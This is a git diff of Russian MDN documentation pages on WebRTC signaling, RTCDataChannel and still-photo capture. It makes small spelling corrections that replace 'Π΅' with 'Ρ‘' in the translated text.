+<p><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> это тСхнология прямого ΠΎΠ±ΠΌΠ΅Π½Π° Π°ΡƒΠ΄ΠΈΠΎ-, Π²ΠΈΠ΄Π΅ΠΎ- ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ с ΠΎΠ΄Π½ΠΈΠΌ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ условиСм. ΠŸΡ€ΠΎΡ†Π΅ΡΡ обнаруТСния ΠΈ согласования ΠΌΠ΅Π΄ΠΈΠ°Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π²Π° устройства, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅Β ΠΊΒ Ρ€Π°Π·Π½Ρ‹ΠΌΒ ΡΠ΅Ρ‚ΡΠΌ, ΠΌΠΎΠ³Π»ΠΈ Π»ΠΎΠΊΠ°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π°,Β <a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime#Establishing_a_connection">ΠΊΠ°ΠΊ ΠΎΠ±ΡΡƒΠΆΠ΄Π°Π»ΠΎΡΡŒ здСсь</a>. Π­Ρ‚ΠΎΡ‚ процСсс Π½Π°Π·Π²Π°Π½ <span class="seoSummary"><strong>сигнализациСй </strong></span>ΠΈ ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π° устройства ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ ΠΊ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌΡƒ, обоюдно согласованному сСрвСру.Β Π§Π΅Ρ€Π΅Π· Ρ‚Ρ€Π΅Ρ‚ΡŒΡŽ сторону устройства ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ адрСса Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π° ΠΈ ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΡΠΎΠ³Π»Π°ΡΡƒΡŽΡ‰ΠΈΠΌΠΈ сообщСниями.</p>
<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Π΄ΠΎΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Β <a class="external external-icon" href="https://webrtc-from-chat.glitch.me/" rel="noopener">WebSocket-Ρ‡Π°Ρ‚</a>, созданный для нашСй Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΊΒ WebSocket, β€”Β Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΠΊ Π½Π΅ΠΌΡƒ двусторонний Π²ΠΈΠ΄Π΅ΠΎΠ·Π²ΠΎΠ½ΠΎΠΊ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ.Β Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β <a href="https://webrtc-from-chat.glitch.me/">ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° Glitch</a>Β ΠΈΠ»ΠΈΒ <a href="https://glitch.com/edit/#!/remix/webrtc-from-chat">ΠΊΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ самим. <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat">Π’Π΅ΡΡŒ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚</a>Β ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π°Β GitHub.</p>
@@ -21,13 +21,13 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling
<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Π½ΡƒΠΆΠ΅Π½ сам сСрвСр сигнализации. БпСцификация WebRTC Π½Π΅ опрСдСляСт, ΠΊΠ°ΠΊΠΎΠΉ транспорт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ сигнальной ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.Β ΠœΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ Π²Π°ΠΌ нравится,Β ΠΎΡ‚Β <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket</a> Π΄ΠΎ {{domxref("XMLHttpRequest")}} ΠΈ ΠΏΠΎΡ‡Ρ‚ΠΎΠ²Ρ‹Ρ… Π³ΠΎΠ»ΡƒΠ±Π΅ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΡΠΈΠ³Π½Π°Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠΈΡ€Π°ΠΌΠΈ.</p>
-<p>Π’Π°ΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎ сСрвСру Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΈΠ³Π½Π°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. Π₯отя ΠΎΠ½ΠΈ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅Β {{Glossary("SDP")}}, это Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ особого значСния: содСрТаниС сообщСний, проходящих Ρ‡Π΅Ρ€Π΅Π· ΡΠΈΠ³Π½Π°Π»ΡŒΠ½Ρ‹ΠΉ сСрвСр -Β ΠΏΠΎ сути, Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ ящик. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ лишь Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° подсистСма {{Glossary("ICE")}} Π΄Π°Π΅Ρ‚ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΠΏΠΈΡ€Ρƒ, Π²Ρ‹ просто это Π΄Π΅Π»Π°Π΅Ρ‚Π΅, Π° ΡƒΠΆΠ΅ ΠΏΠΈΡ€ Π·Π½Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈ Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π΅ Π½Π° свою подсистСму ICE. ВсС Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ - ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ сообщСния Ρ‚ΡƒΠ΄Π° ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ. Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅Β ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π½Π΅ Π²Π°ΠΆΠ½ΠΎ для сигнального сСрвСра.</p>
+<p>Π’Π°ΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎ сСрвСру Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΈΠ³Π½Π°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. Π₯отя ΠΎΠ½ΠΈ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅Β {{Glossary("SDP")}}, это Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ особого значСния: содСрТаниС сообщСний, проходящих Ρ‡Π΅Ρ€Π΅Π· ΡΠΈΠ³Π½Π°Π»ΡŒΠ½Ρ‹ΠΉ сСрвСр -Β ΠΏΠΎ сути, Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ ящик. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ лишь Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° подсистСма {{Glossary("ICE")}} Π΄Π°Ρ‘Ρ‚ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΠΏΠΈΡ€Ρƒ, Π²Ρ‹ просто это Π΄Π΅Π»Π°Π΅Ρ‚Π΅, Π° ΡƒΠΆΠ΅ ΠΏΠΈΡ€ Π·Π½Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈ Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‘ Π½Π° свою подсистСму ICE. ВсС Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ - ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ сообщСния Ρ‚ΡƒΠ΄Π° ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ. Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅Β ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π½Π΅ Π²Π°ΠΆΠ½ΠΎ для сигнального сСрвСра.</p>
<h3 id="ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ°_сСрвСра_Ρ‡Π°Ρ‚Π°_ΠΊ_сигнализации">ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ° сСрвСра Ρ‡Π°Ρ‚Π° ΠΊ сигнализации</h3>
-<p>Наш <a href="https://github.com/mdn/samples-server/tree/master/s/websocket-chat">сСрвСр Ρ‡Π°Ρ‚Π°</a>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a> для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΊΠ°ΠΊ {{Glossary("JSON")}}Β  ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром. Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ нСсколько Ρ‚ΠΈΠΏΠΎΠ² сообщСний для Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π·Π°Π΄Π°Ρ‡ : рСгистрация Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, установки ΠΈΠΌΠ΅Π½ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° сообщСний Ρ‡Π°Ρ‚Π°.</p>
+<p>Наш <a href="https://github.com/mdn/samples-server/tree/master/s/websocket-chat">сСрвСр Ρ‡Π°Ρ‚Π°</a>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a> для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΊΠ°ΠΊ {{Glossary("JSON")}}Β  ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром. Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ нСсколько Ρ‚ΠΈΠΏΠΎΠ² сообщСний для Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π·Π°Π΄Π°Ρ‡ : рСгистрация Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, установки ΠΈΠΌΡ‘Π½ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° сообщСний Ρ‡Π°Ρ‚Π°.</p>
-<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π±Ρ‹ сСрвСр ΠΌΠΎΠ³ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ сигнализации ΠΈ согласованиС соСдинСния, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄. Нам Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ сообщСния ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚Ρ€Π°Π½ΡΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… всСм ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Ρƒ ΠΈ доставку нСизвСстных Ρ‚ΠΈΠΏΠΎΠ² сообщСний, ΠΏΡ€ΠΈ этом сСрвСру Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ это Ρ‚Π°ΠΊΠΎΠ΅. Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π½Π°ΠΌ ΠΏΠΎΡΡ‹Π»Π°Ρ‚ΡŒ ΡΠΈΠ³Π½Π°Π»ΡŒΠ½Ρ‹Π΅ сообщСния, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ сСрвСр, вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ сСрвСр.</p>
+<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π±Ρ‹ сСрвСр ΠΌΠΎΠ³ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ сигнализации ΠΈ согласованиС соСдинСния, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄. Нам Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ сообщСния ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚Ρ€Π°Π½ΡΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… всСм ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Ρƒ ΠΈ доставку нСизвСстных Ρ‚ΠΈΠΏΠΎΠ² сообщСний, ΠΏΡ€ΠΈ этом сСрвСру Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ это Ρ‚Π°ΠΊΠΎΠ΅. Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π½Π°ΠΌ ΠΏΠΎΡΡ‹Π»Π°Ρ‚ΡŒ ΡΠΈΠ³Π½Π°Π»ΡŒΠ½Ρ‹Π΅ сообщСния, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ сСрвСр, вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ сСрвСр.</p>
<p>Let's take a look which changes we need to make to the chat server support WebRTC signaling. This is in the file <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat/chatserver.js">chatserver.js</a>.</p>
diff --git a/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html
index 4d02e4d5d4..8ed6944d59 100644
--- a/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html
+++ b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API/Simple_RTCDataChannel_sample
<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ {{domxref("RTCDataChannel")}} являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ Β <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΊΠ°Π½Π°Π» ΠΌΠ΅ΠΆΠ΄Ρƒ ΡƒΠ·Π»Π°ΠΌΠΈ соСдинСния, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. Π­Ρ‚ΠΈΒ Β API Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ сходны с Β <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>, для ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΡΒ Π΅Π΄ΠΈΠ½ΠΎΠΉΒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠΉΒ ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΎΡ‚ΠΊΡ€ΠΎΠ΅ΠΌ соСдинСниС {{domxref ("RTCDataChannel")}}, ΡΠ²ΡΠ·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Π΄Π²Π° элСмСнта Π½Π° ΠΎΠ΄Π½ΠΎΠΉ страницС.Β Π₯отя это явно Π½Π°Π΄ΡƒΠΌΠ°Π½Π½Ρ‹ΠΉ сцСнарий, ΠΎΠ½ ΠΏΠΎΠ»Π΅Π·Π΅Π½ для дСмонстрации ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ соСдинСния Π΄Π²ΡƒΡ… ΡƒΠ·Π»ΠΎΠ².Β ΠœΡ‹ расскаТСм ΠΎ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ΅ выполнСния соСдинСния, ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΈ получСния Π΄Π°Π½Π½Ρ‹Ρ…, Π½ΠΎ оставим Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ поискС ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ ΠΊ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡƒ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ для Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΎΡ‚ΠΊΡ€ΠΎΠ΅ΠΌ соСдинСниС {{domxref ("RTCDataChannel")}}, ΡΠ²ΡΠ·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Π΄Π²Π° элСмСнта Π½Π° ΠΎΠ΄Π½ΠΎΠΉ страницС.Β Π₯отя это явно Π½Π°Π΄ΡƒΠΌΠ°Π½Π½Ρ‹ΠΉ сцСнарий, ΠΎΠ½ ΠΏΠΎΠ»Π΅Π·Π΅Π½ для дСмонстрации ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ соСдинСния Π΄Π²ΡƒΡ… ΡƒΠ·Π»ΠΎΠ².Β ΠœΡ‹ расскаТСм ΠΎ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ΅ выполнСния соСдинСния, ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΈ получСния Π΄Π°Π½Π½Ρ‹Ρ…, Π½ΠΎ оставим Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ поискС ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ ΠΊ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌΡƒ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ для Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°.</p>
<h2 id="Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ°_HTML">Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° HTML</h2>
diff --git a/files/ru/web/api/webrtc_api/taking_still_photos/index.html b/files/ru/web/api/webrtc_api/taking_still_photos/index.html
index a15d916a7e..c690fafe2a 100644
--- a/files/ru/web/api/webrtc_api/taking_still_photos/index.html
+++ b/files/ru/web/api/webrtc_api/taking_still_photos/index.html
@@ -40,11 +40,11 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos
<h2 id="Код_JavaScript">Код JavaScript</h2>
-<p>ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΠΌ Π½Π°Β Β <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill/capture.js" rel="noopener">JavaScript code</a>. РазобьСм Π΅Π³ΠΎ Π½Π° части, для упрощСния объяснСния.</p>
+<p>ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΠΌ Π½Π°Β Β <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill/capture.js" rel="noopener">JavaScript code</a>. Π Π°Π·ΠΎΠ±ΡŒΡ‘ΠΌ Π΅Π³ΠΎ Π½Π° части, для упрощСния объяснСния.</p>
<h3 id="Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡ">Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡ</h3>
-<p>НачнСм с ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ всСго скрипта Π² Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π²ΠΎ ΠΈΠ·Π±Π΅ΠΆΠ°Π½ΠΈΠΈ ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ΠΎΠ² Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, Π·Π°Ρ‚Π΅ΠΌΒ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π½ΡƒΠΆΠ½Ρ‹Π΅Β  ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅.</p>
